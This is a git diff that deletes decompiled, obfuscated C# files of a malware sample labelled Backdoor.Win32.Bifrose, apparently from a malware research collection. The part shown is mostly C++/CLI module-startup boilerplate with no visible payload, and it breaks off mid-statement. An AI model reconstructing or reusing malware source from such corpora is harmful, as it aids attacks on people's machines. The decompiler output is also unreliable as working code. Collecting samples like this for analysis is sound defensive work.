a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082³.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082³.cs deleted file mode 100644 index 64a9c3a1..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082³.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚³ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0082\u00B3 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¶.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¶.cs deleted file mode 100644 index 55a8548b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082¶.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¶ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum \u0082\u00B6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082º.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082º.cs deleted file mode 100644 index 90729970..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082º.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚º -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0082º - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082».cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082».cs deleted file mode 100644 index f925b137..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0082».cs +++ /dev/null @@ -1,1424 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚» -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using \u0082\u00BC; -using å; -using õ; -using PvLogiciels.dotNetProtector; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.Threading; - -namespace \u0082\u00BC -{ - internal class \u0082\u00BB - { - internal static \u00BF \u00BC; - [FixedAddressValueType] - internal static int \u00B8; - internal static __FnPtr \u009F; - internal static \u00BF \u0087; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u0081ç; - internal static __FnPtr \u0082\u00A3; - [FixedAddressValueType] - internal static bool \u0082\u0080; - internal static __FnPtr \u0081ë; - internal static \u00BF \u0081Ë; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u0081Æ; - internal static __FnPtr \u0081\u00AE; - [FixedAddressValueType] - internal static int \u0081\u0096; - internal static __FnPtr \u0081\u0087; - internal static \u00BF ð; - [FixedAddressValueType] - internal static \u00AE.\u00A9 ê; - internal static __FnPtr \u0082\u00B1; - internal static \u00BF \u00B2; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u00A7; - internal static __FnPtr \u008F; - internal static bool \u0081Ì; - internal static bool \u0082\u009B; - internal static bool \u0082\u0089; - internal static int \u0081ó; - internal static uint \u0081à; - internal static uint \u0081Ð; - internal static \u008E.\u00A9 \u0081Á; - internal static uint \u0082µ; - internal static uint \u0081\u009E; - internal static uint \u0081\u0092; - internal static \u008E.\u00A9 \u0081\u0082; - internal static bool ï; - internal static \u00BF \u00D7; - public static unsafe int** Ð; - public static unsafe int** \u00BD; - internal static __FnPtr \u009E; - [FixedAddressValueType] - internal static uint \u0097; - [FixedAddressValueType] - internal static \u0082\u0098 \u0091; - internal static __FnPtr \u0082\u00B7; - [FixedAddressValueType] - internal static unsafe __FnPtr* \u0082\u009F; - internal static uint \u0082\u0097; - internal static unsafe __FnPtr* \u0082\u008D; - internal static unsafe __FnPtr* \u0082\u0085; - [FixedAddressValueType] - internal static unsafe __FnPtr* \u0081ü; - internal static int \u0081ô; - internal static int \u0081ñ; - internal static int \u0081í; - internal static int \u0081å; - internal static int \u0081ß; - internal static int \u0024; - internal static int \u0081Ú; - public static \u00A6 \u0081Ã; - public static volatile uint æ; - public static \u00A6 ß; - public static \u0099 Ú; - public static volatile \u0094 \u0081\u00B6; - public static \u0099 \u0081\u00B1; - public static unsafe void* \u0081\u00AD; - public static volatile uint \u0081\u00A8; - public static unsafe __FnPtr* \u0081\u00A2; - public static unsafe __FnPtr* \u0081\u009F; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool Ë() => \u0082\u00BB.\u0081\u00A8 != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool À() => \u0082\u00BB.\u0081\u00A8 == 1U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u00AF() => \u0082\u00BB.\u0081\u00A8 == 0U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u009B() => \u0082\u00BB.æ != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0090() => (\u0082\u00BB.\u0081\u00A8 != uint.MaxValue ? 1 : 0) == 0 || (\u0082\u00BB.æ != uint.MaxValue ? 1 : 0) != 0 || \u0082\u00BB.\u0081\u00A8 != 1U && \u0082\u00BB.\u0081\u00A8 != 0U; - - internal static unsafe int \u0081(void* _param0) - { - GC.KeepAlive((object) int.MaxValue); - return 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0082ª() - { - if (\u0082\u00BB.\u0081\u0082 != (\u008E.\u00A9) 2) - return \u0082\u00BB.\u0081\u0082 == (\u008E.\u00A9) -1; - void** voidPtr = (void**) &\u0082\u00BB.\u00D7; - if (ref \u0082\u00BB.\u00D7 < ref \u0082\u00BB.\u00BC) - { - while (*(int*) voidPtr == 0) - { - voidPtr += 4; - if ((IntPtr) voidPtr >= ref \u0082\u00BB.\u00BC) - goto label_5; - } - \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) -1; - return true; - } -label_5: - \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081Ó() - { - if (\u0082\u00BB.\u0081Á != (\u008E.\u00A9) 2) - return \u0082\u00BB.\u0081Á == (\u008E.\u00A9) -1; - void** voidPtr1 = (void**) &\u0082\u00BB.Ú; - if (ref \u0082\u00BB.Ú < ref \u0082\u00BB.\u0081\u00B1) - { - while (*(int*) voidPtr1 == 0) - { - voidPtr1 += 4; - if ((IntPtr) voidPtr1 >= ref \u0082\u00BB.\u0081\u00B1) - goto label_5; - } - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1; - return true; - } -label_5: - void** voidPtr2 = (void**) &\u0082\u00BB.ß; - if (ref \u0082\u00BB.ß < ref \u0082\u00BB.\u0081Ã) - { - while (*(int*) voidPtr2 == 0) - { - voidPtr2 += 4; - if ((IntPtr) voidPtr2 >= ref \u0082\u00BB.\u0081Ã) - goto label_9; - } - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1; - return true; - } -label_9: - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0082\u008C() => \u0082\u00BB.\u0082ª() && !\u0082\u00BB.\u0081Ì || \u0082\u00BB.\u0081Ó() && !\u0082\u00BB.\u0082\u0089 && \u0082\u00BB.\u0081\u00B6 == (\u0094) 0; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0081\u00F7() => \u0082\u00BB.\u0082\u009B; - - internal static unsafe void \u0081á() => \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.Ð, (void*) 0); - - internal static void \u0081Ò() => \u0082\u00BB.\u0081\u0096 = 0; - - internal static void \u0081\u00BB() => \u0082\u00BB.\u00B8 = 0; - - internal static void \u0081\u00A3() => \u0082\u00BB.\u0082\u0080 = false; - - internal static void \u0081\u008E() => \u0082\u00BB.ê = (\u00AE.\u00A9) 0; - - internal static void \u00A2() => \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 0; - - internal static void \u00A5() => \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 0; - - internal static void \u00AC() => \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 0; - - [DebuggerStepThrough] - internal static unsafe void \u008C([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during vtable initialization.\n"); - \u0082\u00BB.ê = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u0087, (__FnPtr*) &\u0082\u00BB.\u00B2); - \u0082\u00BB.ê = (\u00AE.\u00A9) 2; - } - - internal static unsafe void \u0082\u00B8([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load while attempting to initialize the default appdomain.\n"); - \u0082\u00BB.\u0081á(); - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u00A4([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during native initialization.\n"); - \u0082\u00BB.\u0081\u00B7(); - \u0082\u00BB.\u0082\u0089 = true; - if (!\u0082\u00BB.\u0090()) - \u0082\u00BB.\u0081º(33); - switch (\u0082\u00BB.\u0081\u00B6) - { - case (\u0094) 0: - \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u00B6 = (\u0094) 1; - if (\u0082\u00BB.\u0082\u009E((__FnPtr*) &\u0082\u00BB.Ú, (__FnPtr*) &\u0082\u00BB.\u0081\u00B1) != 0) - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0)); - \u0082\u00BB.\u0093((__FnPtr*) &\u0082\u00BB.ß, (__FnPtr*) &\u0082\u00BB.\u0081Ã); - \u0082\u00BB.\u0081\u00B6 = (\u0094) 2; - \u0082\u00BB.ï = true; - \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 2; - break; - case (\u0094) 1: - \u0082\u00BB.\u0081º(33); - break; - } - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u008F([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during process initialization.\n"); - \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u0094(); - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u00D7, (__FnPtr*) &\u0082\u00BB.\u00BC); - \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 2; - \u0082\u00BB.\u0081Ì = true; - } - - [DebuggerStepThrough] - internal static unsafe void \u0081û([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during appdomain initialization.\n"); - \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u0089(); - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u0081Ë, (__FnPtr*) &\u0082\u00BB.ð); - \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 2; - } - - [DebuggerStepThrough] - internal static unsafe void \u0081ä([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during registration for the unload events.\n"); - \u0082\u00BB.\u0081\u0085(new EventHandler(\u0082\u00BB.\u0081\u008F)); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void Ø([In] Ñ* obj0) - { - \u0082\u00BB.\u0082\u0080 = AppDomain.CurrentDomain.IsDefaultAppDomain(); - if (\u0082\u00BB.\u0082\u0080) - \u0082\u00BB.\u0082\u009B = true; - \u0082\u00BB.\u0081\u00A1(); - void* voidPtr1 = \u0082\u00BB.\u0081\u00BE(); - int num1 = 0; - int num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - while (num2 == 0) - { - try - { - } - finally - { - IntPtr comparand = (IntPtr) 0; - IntPtr num3 = (IntPtr) voidPtr1; - // ISSUE: cast to a reference type - void* voidPtr2 = (void*) Interlocked.CompareExchange((IntPtr&) ref \u0082\u00BB.\u0081\u00AD, num3, comparand); - if ((IntPtr) voidPtr2 == IntPtr.Zero) - num2 = 1; - else if (voidPtr2 == voidPtr1) - { - num1 = 1; - num2 = 1; - } - } - if (num2 == 0) - \u0082\u00BB.\u0081\u00B2(1000U); - } - if (!\u0082\u00BB.\u0082\u0080) - { - if (\u0082\u00BB.\u0082\u008C()) - \u0082\u00BB.\u0082\u00B8(obj0); - } - } - finally - { - if (num1 == 0) - { - IntPtr num4 = (IntPtr) 0; - // ISSUE: cast to a reference type - Interlocked.Exchange((IntPtr&) ref \u0082\u00BB.\u0081\u00AD, num4); - } - } - \u0082\u00BB.\u008C(obj0); - if (\u0082\u00BB.\u0082\u0080) - { - \u0082\u00BB.\u0082\u00A4(obj0); - \u0082\u00BB.\u0082\u008F(obj0); - } - \u0082\u00BB.\u0081û(obj0); - \u0082\u00BB.\u0081\u0096 = 1; - \u0082\u00BB.\u0081ä(obj0); - } - - internal static void \u0081À() => \u0082\u00BB.É(); - - internal static unsafe int \u0081\u00AF(void* _param0) - { - \u0082\u00BB.\u0081\u0098(); - \u0082\u00BB.\u0081Ì = false; - if (\u0082\u00BB.ï) - { - \u0082\u00BB.ì(); - \u0082\u00BB.\u0081\u00B6 = (\u0094) 0; - \u0082\u00BB.ï = false; - } - \u0082\u00BB.\u0082\u0089 = false; - return 0; - } - - internal static unsafe void \u0081\u009D() - { - if (!\u0082\u00BB.\u0082\u009B) - return; - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - \u0082\u00BB.\u0081\u00AF((void*) 0); - } - else - { - // ISSUE: cast to a function pointer type - \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.\u00BD, (void*) 0); - } - } - - [PrePrepareMethod] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static void \u0081\u008F(object _param0, EventArgs _param1) - { - if (\u0082\u00BB.\u0081\u0096 == 0 || Interlocked.Exchange(ref \u0082\u00BB.\u00B8, 1) != 0) - return; - int num = Interlocked.Decrement(ref \u0082\u00BB.\u0081ó) == 0 ? 1 : 0; - \u0082\u00BB.É(); - if ((byte) num == (byte) 0) - return; - \u0082\u00BB.\u0081\u009D(); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void û([In] Ñ* obj0, Exception _param1) - { - try - { - bool flag = Interlocked.Decrement(ref \u0082\u00BB.\u0081ó) == 0; - \u0082\u00BB.\u0081À(); - if (!flag) - return; - \u0082\u00BB.\u0081\u009D(); - } - catch (Exception ex) - { - \u0082\u00BB.\u0081\u0095(_param1, ex); - } - catch - { - \u0082\u00BB.\u0081\u0095(_param1, (Exception) null); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void ë([In] Ñ* obj0) - { - bool flag = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load.\n"); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - Interlocked.Increment(ref \u0082\u00BB.\u0081ó); - flag = true; - } - \u0082\u00BB.Ø(obj0); - } - catch (Exception ex) - { - if (flag) - \u0082\u00BB.û(obj0, ex); - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0), ex); - } - catch - { - if (flag) - \u0082\u00BB.û(obj0, (Exception) null); - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0), (Exception) null); - } - } - - [DebuggerStepThrough] - static unsafe \u0082\u00BB() - { - Ñ ñ; - \u0082\u00BB.Ó(&ñ); - // ISSUE: fault handler - try - { - \u0082\u00BB.ë(&ñ); - } - __fault - { - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u0082\u00BB.\u0081\u00A4((__FnPtr) __methodptr(Æ), (void*) &ñ); - } - \u0082\u00BB.\u00B0((Ê*) &ñ); - } - - internal static unsafe Ñ* Ó([In] Ñ* obj0) - { - \u0082\u00BB.º((Ê*) obj0); - return obj0; - } - - internal static unsafe void Æ([In] Ñ* obj0) => \u0082\u00BB.\u00B0((Ê*) obj0); - - [DebuggerStepThrough] - internal static unsafe Ê* º([In] Ê* obj0) - { - IntPtr num = (IntPtr) GCHandle.Alloc((object) null); - *(int*) obj0 = (int) num.ToPointer(); - return obj0; - } - - [DebuggerStepThrough] - internal static unsafe void \u00B0([In] Ê* obj0) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe Ê* \u00A3([In] Ê* obj0, string _param1) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target = (object) _param1; - return obj0; - } - - internal static unsafe string \u009A([In] Ê* obj0) => (string) ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target; - - [STAThread] - internal static unsafe int \u0082\u009C(string[] _param0) - { - try - { - \u0082\u00BB.à(1); - *\u0082\u00BB.Å() = \u0082\u00BB.\u0024; - *\u0082\u00BB.Ì() = \u0082\u00BB.\u0081ß; - \u0082\u00BB.\u0081þ(); - \u0082\u00BB.\u0082\u0081(); - if (\u0082\u00BB.\u0081í == -1) - \u0082\u00BB.Ù(-1); - \u0082º º; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref º = \u0082\u00BB.\u0081ñ; - int num; - char** chPtr1; - char** chPtr2; - if (\u0082\u00BB.Â(&num, &chPtr1, &chPtr2, \u0082\u00BB.\u0081ô, &º) < 0) - \u0082\u00BB.\u0081º(8); - \u0082\u00BB.\u008A(); - return \u0082\u00BB.\u0081É(_param0); - } - catch (Exception ex) when (\u0082\u00BB.È((uint) Marshal.GetExceptionCode(), (\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - return Marshal.GetExceptionCode(); - } - } - - internal static unsafe void \u008A() - { - \u0082\u009A* objPtr1 = (\u0082\u009A*) \u0082\u00BB.Ò((sbyte*) 0); - if (*(ushort*) objPtr1 != (ushort) 23117) - return; - \u0082\u00A7* objPtr2 = (\u0082\u00A7*) (*(int*) ((IntPtr) objPtr1 + 60) + (IntPtr) objPtr1); - if (*(int*) objPtr2 != 17744 || *(ushort*) ((IntPtr) objPtr2 + 24) != (ushort) 267) - return; - if (*(ushort*) ((IntPtr) objPtr2 + 24 + 68) != (ushort) 3) - \u0082\u00BB.à(2); - else - \u0082\u00BB.à(1); - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u0086() - { - object obj = new object(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref \u0082\u00BB.\u0091 = 0; - \u0082\u00BB.\u00AB(&\u0082\u00BB.\u0091, obj); - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0082\u00AC() => \u0082\u00BB.â(&\u0082\u00BB.\u0091) != null; - - [DebuggerStepThrough] - internal static unsafe void \u0082\u00A0() => Monitor.Enter(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - - [DebuggerStepThrough] - internal static unsafe void \u0082\u0091() => Monitor.Exit(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - - internal static void \u0082\u0083() => \u0082\u00BB.ø((__FnPtr) __methodptr(\u0081Ý)); - - internal static unsafe void \u0081Ý() => \u0082\u00BB.Í(&\u0082\u00BB.\u0091); - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081\u00BF() - { - bool flag = false; - if (\u0082\u00BB.\u0082\u00AC()) - { - Monitor.Enter(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081\u00B8() - { - bool flag = false; - if (\u0082\u00BB.\u0082\u00AC()) - { - Monitor.Exit(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0081\u00B0() - { - if (!\u0082\u00BB.\u0082\u00AC()) - \u0082\u00BB.\u0082\u0086(); - return \u0082\u00BB.\u0082\u00AC(); - } - - internal static unsafe int \u0081\u00A6( - __FnPtr _param0, - uint* _param1, - __FnPtr** _param2, - __FnPtr** _param3) - { - // ISSUE: cast to a function pointer type - __FnPtr local1 = (__FnPtr) 0; - if (_param0 == null) - return -1; - int num1; - if (\u0082\u00BB.\u0081\u00BF()) - { - try - { - if (*_param1 - 1U < (uint) (*(int*) _param2 - *(int*) _param3) >> 2) - { - try - { - uint num2 = *_param1 * 4U; - uint num3 = num2 >= 2048U ? 2048U : num2; - IntPtr cb = new IntPtr((int) num2 + (int) num3); - IntPtr num4 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) _param3), cb); - __FnPtr** local2 = _param2; - IntPtr num5 = *(int*) local2 + ((IntPtr) num4.ToPointer() - *(int*) _param3); - *(int*) local2 = (int) num5; - *(int*) _param3 = (int) num4.ToPointer(); - uint num6 = *_param1; - uint num7 = 512U >= num6 ? num6 : 512U; - *_param1 = num6 + num7; - } - catch (OutOfMemoryException ex) - { - IntPtr cb = new IntPtr((int) *_param1 * 4 + 8); - IntPtr num8 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) _param3), cb); - __FnPtr** local3 = _param2; - IntPtr num9 = *(int*) local3 + ((IntPtr) num8.ToPointer() - *(int*) _param3); - *(int*) local3 = (int) num9; - *(int*) _param3 = (int) num8.ToPointer(); - uint* numPtr = _param1; - int num10 = (int) *numPtr + 4; - *numPtr = (uint) num10; - } - } - *(int*) *(int*) _param2 = (int) _param0; - __FnPtr** local4 = _param2; - int num11 = *(int*) local4 + 4; - *(int*) local4 = num11; - local1 = _param0; - } - catch (OutOfMemoryException ex) - { - } - finally - { - \u0082\u00BB.\u0081\u00B8(); - } - if (local1 != null) - { - num1 = 0; - goto label_12; - } - } - num1 = -1; -label_12: - return num1; - } - - internal static unsafe void \u0081\u0098() - { - if ((IntPtr) \u0082\u00BB.\u0082\u0085 == new IntPtr(-1) || (IntPtr) \u0082\u00BB.\u0082\u0085 == IntPtr.Zero || (IntPtr) \u0082\u00BB.\u0082\u008D == IntPtr.Zero) - return; - \u0082\u00BB.\u0082\u008D -= 4; - if (\u0082\u00BB.\u0082\u008D >= \u0082\u00BB.\u0082\u0085) - { - do - { - if (*(int*) \u0082\u00BB.\u0082\u008D != 0) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u0082\u00BB.\u0082\u008D)(); - } - \u0082\u00BB.\u0082\u008D -= 4; - } - while (\u0082\u00BB.\u0082\u008D >= \u0082\u00BB.\u0082\u0085); - } - Marshal.FreeHGlobal(new IntPtr((void*) \u0082\u00BB.\u0082\u0085)); - } - - [DebuggerStepThrough] - internal static unsafe int \u0081\u0094() - { - if (!\u0082\u00BB.\u0081\u00B0()) - return 0; - \u0082\u00BB.\u0082\u0085 = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u0082\u00BB.\u0082\u008D = \u0082\u00BB.\u0082\u0085; - \u0082\u00BB.\u0082\u0097 = 32U; - return 1; - } - - internal static __FnPtr \u0081\u0091(__FnPtr _param0) => \u0082\u00BB.\u0081\u008A((__FnPtr) _param0) != -1 ? _param0 : (__FnPtr) 0; - - internal static unsafe int \u0081\u008A(__FnPtr _param0) => \u0082\u00BB.\u0081\u00A6(_param0, &\u0082\u00BB.\u0082\u0097, &\u0082\u00BB.\u0082\u008D, &\u0082\u00BB.\u0082\u0085); - - [DebuggerStepThrough] - internal static unsafe int \u0081\u0089() - { - if (\u0082\u00BB.\u0081\u00B0()) - { - \u0082\u00BB.\u0082\u009F = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u0082\u00BB.\u0081ü = \u0082\u00BB.\u0082\u009F; - \u0082\u00BB.\u0097 = 32U; - } - return 1; - } - - internal static unsafe void É() - { - if ((IntPtr) \u0082\u00BB.\u0082\u009F == new IntPtr(-1) || (IntPtr) \u0082\u00BB.\u0082\u009F == IntPtr.Zero) - return; - if ((IntPtr) \u0082\u00BB.\u0081ü == IntPtr.Zero) - return; - try - { - while (true) - { - do - { - \u0082\u00BB.\u0081ü -= 4; - if (\u0082\u00BB.\u0081ü < \u0082\u00BB.\u0082\u009F) - goto label_8; - } - while (*(int*) \u0082\u00BB.\u0081ü == 0); - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u0082\u00BB.\u0081ü)(); - } -label_8:; - } - finally - { - Marshal.FreeHGlobal(new IntPtr((void*) \u0082\u00BB.\u0082\u009F)); - } - } - - internal static __FnPtr ý(__FnPtr _param0) => \u0082\u00BB.ø((__FnPtr) _param0) != -1 ? _param0 : (__FnPtr) 0; - - [DebuggerStepThrough] - internal static unsafe int ø(__FnPtr _param0) => \u0082\u00BB.\u0081\u00A6(_param0, &\u0082\u00BB.\u0097, &\u0082\u00BB.\u0081ü, &\u0082\u00BB.\u0082\u009F); - - [DebuggerStepThrough] - internal static unsafe void ó([In] \u0082\u0098* obj0, object _param1) - { - *(int*) obj0 = 0; - \u0082\u00BB.\u00AB(obj0, _param1); - } - - [DebuggerStepThrough] - internal static unsafe object â([In] \u0082\u0098* obj0) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - return valueType != null ? ((GCHandle) valueType).Target : (object) null; - } - - internal static unsafe void Í([In] \u0082\u0098* obj0) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - if (valueType == null) - return; - ((GCHandle) valueType).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe ValueType \u00BE([In] \u0082\u0098* obj0) - { - uint num = (uint) *(int*) obj0; - return num != 0U ? (ValueType) GCHandle.FromIntPtr(new IntPtr((void*) num)) : (ValueType) null; - } - - [DebuggerStepThrough] - internal static unsafe void \u00AB([In] \u0082\u0098* obj0, object _param1) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - if (valueType == null) - { - IntPtr intPtr = GCHandle.ToIntPtr(GCHandle.Alloc(_param1)); - *(int*) obj0 = (int) intPtr.ToPointer(); - } - else - ((GCHandle) valueType).Target = _param1; - } - - [DebuggerStepThrough] - internal static unsafe int \u0082\u009E(__FnPtr* _param0, __FnPtr* _param1) - { - int num1 = 0; - if (_param0 < _param1) - { - while (num1 == 0) - { - uint num2 = 